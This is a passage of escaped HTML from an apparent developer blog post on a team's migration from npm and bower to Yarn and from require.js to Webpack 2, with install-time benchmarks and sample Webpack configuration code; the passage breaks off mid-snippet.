when we did a Fresh Install&lt;/h4&gt; &lt;table&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt;Package manager&lt;/th&gt; &lt;th&gt;Time taken&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;npm&lt;/code&gt;&lt;/td&gt; &lt;td&gt;&lt;strong&gt;3 minutes 12 seconds&lt;/strong&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;yarn&lt;/code&gt; &lt;em&gt;(without yarn.lock file)&lt;/em&gt;&lt;/td&gt; &lt;td&gt;&lt;strong&gt;1 minute 33 seconds&lt;/strong&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;yarn&lt;/code&gt; &lt;em&gt;(with yarn.lock file)&lt;/em&gt;&lt;/td&gt; &lt;td&gt;&lt;strong&gt;16 seconds&lt;/strong&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt; &lt;/table&gt; &lt;h4 id=&quot;running-the-commands-with-already-installed-packages&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#running-the-commands-with-already-installed-packages&quot; aria-label=&quot;running the commands with already installed packages permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Running the commands with already installed packages&lt;/h4&gt; &lt;table&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt;Package manager&lt;/th&gt; &lt;th&gt;Time taken&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;npm&lt;/code&gt;&lt;/td&gt; &lt;td&gt;&lt;strong&gt;7 seconds&lt;/strong&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;yarn&lt;/code&gt; &lt;em&gt;(with yarn.lock file)&lt;/em&gt;&lt;/td&gt; &lt;td&gt;&lt;strong&gt;6 seconds&lt;/strong&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt; &lt;/table&gt; &lt;p&gt;&lt;img src=&quot;/images/2017/10/migrating-towards-yarn-webpack-benchmark.png&quot;&gt;&lt;/p&gt; &lt;p&gt;Yarn offers a lot more besides its fast speed, security, and reliability. Check &lt;a href=&quot;https://yarnpkg.com/en/docs/cli/&quot;&gt;these&lt;/a&gt; commands Yarn offers.&lt;/p&gt; &lt;p&gt;Since we were using &lt;a href=&quot;(%20https://bower.io/)&quot;&gt;bower&lt;/a&gt; too, our first step was to port all the dependencies and dev-dependencies listed in our &lt;code class=&quot;language-text&quot;&gt;bower.json&lt;/code&gt; file to &lt;code class=&quot;language-text&quot;&gt;package.json&lt;/code&gt;. This was a time-consuming task since we had a huge list of packages. After successful porting of packages and validating the version numbers with the previous packages, we were all set to switch to Yarn. This also helped in keeping just one file for managing packages. We are no longer using bower. Even bower&apos;s &lt;a href=&quot;https://bower.io/&quot;&gt;official site&lt;/a&gt; recommends using Yarn and Webpack :)&lt;/p&gt; &lt;h3 id=&quot;why-switch-to-webpack-2&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#why-switch-to-webpack-2&quot; aria-label=&quot;why switch to webpack 2 permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Why switch to Webpack 2&lt;/h3&gt; &lt;p&gt;It wasn&apos;t an easy task to accomplish since Webpack is a module bundler rather than a task runner. We were so accustomed to using task runners along with the old-fashioned &lt;code class=&quot;language-text&quot;&gt;require.js&lt;/code&gt; based module management that it took a good amount of time figuring out how to proceed with our mini-app&apos;s new build system.&lt;/p&gt; &lt;p&gt;Apart from the numerous benefits of using Webpack, the most notable features, especially for our codebase and the build system, were:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;Easy integration with &lt;code class=&quot;language-text&quot;&gt;npm&lt;/code&gt;/&lt;code class=&quot;language-text&quot;&gt;yarn&lt;/code&gt; and seamless handling of multiple module formats. We now use two of its kind, one is &lt;code class=&quot;language-text&quot;&gt;UMD&lt;/code&gt; and the other one is &lt;code class=&quot;language-text&quot;&gt;this&lt;/code&gt; target option (we have such a requirement).&lt;/li&gt; &lt;li&gt;Single main entry and one single bundled output - exactly what we needed.&lt;/li&gt; &lt;li&gt;Cache busting(hashing) - Very very easy to implement and get benefitted.&lt;/li&gt; &lt;li&gt;Building different, independent, and standalone modules simultaneously. Thanks to &lt;a href=&quot;https://github.com/trivago/parallel-webpack&quot;&gt;parallel-webpack&lt;/a&gt;!&lt;/li&gt; &lt;li&gt; &lt;p&gt;Using webpack-loaders -&lt;/p&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;https://github.com/babel/babel-loader&quot;&gt;babel-loader&lt;/a&gt; - so that we could start writing &lt;code class=&quot;language-text&quot;&gt;ES6&lt;/code&gt; compatible code even with our &lt;code class=&quot;language-text&quot;&gt;require.js&lt;/code&gt; module management system.&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;https://github.com/MoOx/eslint-loader&quot;&gt;eslint-loader&lt;/a&gt; - which allows identifying and reporting on patterns found in ECMAScript/JavaScript code&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;https://github.com/webpack-contrib/css-loader&quot;&gt;css-loader&lt;/a&gt; - for bundling CSS&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ol&gt; &lt;h3 id=&quot;converting-to-webpack-2---a-transcendent-journey-ahead&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#converting-to-webpack-2---a-transcendent-journey-ahead&quot; aria-label=&quot;converting to webpack 2 a transcendent journey ahead permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Converting to Webpack 2 - A transcendent journey ahead&lt;/h3&gt; &lt;p&gt;In the beginning, it looked like just porting the &lt;code class=&quot;language-text&quot;&gt;require.js&lt;/code&gt; configuration to Webpack and we&apos;re done. A big NO! This thought was absolutely wrong. There were so many scenarios we had to deal with. We will discuss this in detail as we move along.&lt;/p&gt; &lt;p&gt;First thing first, a clear understanding of what exactly Webpack is and how does it bundle the modules are must. Simply copy-pasting the configuration file from the official website and tweaking it won&apos;t help in a long run. One must be very clear regarding the fundamentals on which Webpack is built upon.&lt;/p&gt; &lt;p&gt;Problems which we needed to tackle were:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;Different modules in the same app, having different configuration files.&lt;/li&gt; &lt;li&gt;Webpack config should be modular in itself and be able to run multiple configs at once so that we should be able to add/remove a new module easily without affecting any existing one.&lt;/li&gt; &lt;/ol&gt; &lt;h4 id=&quot;installing-webpack&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#installing-webpack&quot; aria-label=&quot;installing webpack permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Installing Webpack&lt;/h4&gt; &lt;p&gt;&lt;strong&gt;Via Yarn&lt;/strong&gt; &lt;em&gt;(recommended)&lt;/em&gt;&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;yarn add &lt;span class=&quot;token operator&quot;&gt;--&lt;/span&gt;dev webpack&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;&lt;strong&gt;Via NPM&lt;/strong&gt;&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;npm install webpack &lt;span class=&quot;token operator&quot;&gt;--&lt;/span&gt;save&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;dev&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;&lt;strong&gt;Configuration&lt;/strong&gt; -&lt;/p&gt; &lt;p&gt;A basic configuration file looks like:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Filename: webpack.config.js&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; path &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;path&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; webpack &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;webpack&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; module&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;exports &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; context&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; path&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;resolve&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;__dirname&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;src&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; entry&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; app&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;./app.js&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; output&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; path&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; path&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;resolve&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;__dirname&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;dist&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; filename&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;[name].bundle.js&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Check &lt;a href=&quot;https://webpack.js.org/configuration/#options&quot;&gt;this&lt;/a&gt; for knowing the role of each key.&lt;/p&gt; &lt;p&gt;Since we needed to support different modules we had to have different config files for each of our module.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Filename webpack.config.js&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;/** * Method to return a desired config with the necessary options * @param {Object} options * @return {Object} - Desired config Object as per webpack 2 docs */&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;executeWebpackConfig&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;options&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; devtool&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; options&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;devtool &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;&apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt; options&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;devtool &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;source-map&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; entry&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; options&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;entry&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; output&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; options&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;output&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; module&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; options&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;module&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; resolve&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; options&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;resolve&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; plugins&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; options&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;plugins &lt;span class=&quot;token operator&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Add/remove different modules&apos; corresponding config files&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; multipleConfigs &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// For building single bundled JS file&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;./build/module-A/webpack.main&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Corresponding bundled CSS file&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;./build/module-A/webpack.main.assets&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;./build/module-B/webpack.main&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;./build/module-B/webpack.main.assets&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;./build/module-C/webpack.main&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;./build/module-D/webpack.main&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;./build/module-D/webpack-main.assets&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; multipleConfigs&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;config&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;executeWebpackConfig&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;config&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; module&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;exports &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; multipleConfigs&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;The above configuration is capable of handling &lt;code class=&quot;language-text&quot;&gt;n&lt;/code&gt; number of modules. Different modules will have at least one bundled JS file as the output. But we also needed to have a bundled CSS file corresponding to each module. So, we decided to have two different config files for every module which has both JS and CSS bundling, one for bundling JS and other for managing assets and bundling CSS files. Tasks like copying files from src to dist, updating the JS file name with a cache-busting hash(prod build) in the index.html file and so on were taken care of inside the assets config file.&lt;/p&gt; &lt;p&gt;The above-mentioned break-down of a module into JS and CSS bundling helped us in having a clean, modular, and scalable approach for our new build system. We also used parallel-webpack to speed up our build by running independent modules in parallel. But be very careful using it, since it spawns a new thread for each different task, which basically uses the different cores of a machine to process. Also, there should be a cap on the number of parallel-tasks to prevent overshooting of CPU usage.&lt;/p&gt; &lt;h3 id=&quot;extraction-of-common-stuff-for-reusability-and-maintainability&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#extraction-of-common-stuff-for-reusability-and-maintainability&quot; aria-label=&quot;extraction of common stuff for reusability and maintainability permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Extraction of common stuff for reusability and maintainability&lt;/h3&gt; &lt;p&gt;Let&apos;s discuss Webpack &lt;code class=&quot;language-text&quot;&gt;module-rules&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;resolve-aliases&lt;/code&gt; which play a significant role, before advancing further with the creation of common webpack-configuration helper methods.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;code class=&quot;language-text&quot;&gt;module rules&lt;/code&gt;&lt;/strong&gt; - Create aliases to import or require certain modules more easily. This basically tells how to read a module and to use it.&lt;/p&gt; &lt;p&gt;We used &lt;code class=&quot;language-text&quot;&gt;expose-loader&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;imports-loader&lt;/code&gt; depending on the use-case.&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;https://github.com/webpack-contrib/expose-loader&quot;&gt;expose-loader&lt;/a&gt; - adds modules to the global object. This is useful for debugging or supporting libraries that depend on libraries in globals.&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;https://github.com/webpack-contrib/imports-loader&quot;&gt;imports-loader&lt;/a&gt; - is useful for third-party modules that rely on global variables like $ or this being the window object. The imports loader can add the necessary require(&apos;whatever&apos;) calls, so those modules work with Webpack.&lt;/p&gt; &lt;p&gt;This is an obvious thing that we had same third-party libraries, wrappers over external libraries, and self-baked useful utilities shared across different modules. This means that our module-specific webpack config file would have the same set of repeated rules and aliases. Code duplication might seem a good fit here for readability but is really painful to maintain in a long run.&lt;/p&gt; &lt;p&gt;Let&apos;s discuss how we managed to share the common module rules and resolve aliases across the different modules.&lt;/p&gt; &lt;p&gt;Below is a generic utility file’s code which has two methods. One outputs whether a passed argument is an Object and the other one outputs whether it’s an array.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Filename: GenericUtils.js&lt;/span&gt; module&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;exports &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;isObject&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;obj&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;prototype&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;call&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;obj&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;[object Object]&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;isArray&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;arr&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;prototype&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toString&lt;/span&gt;&lt;span 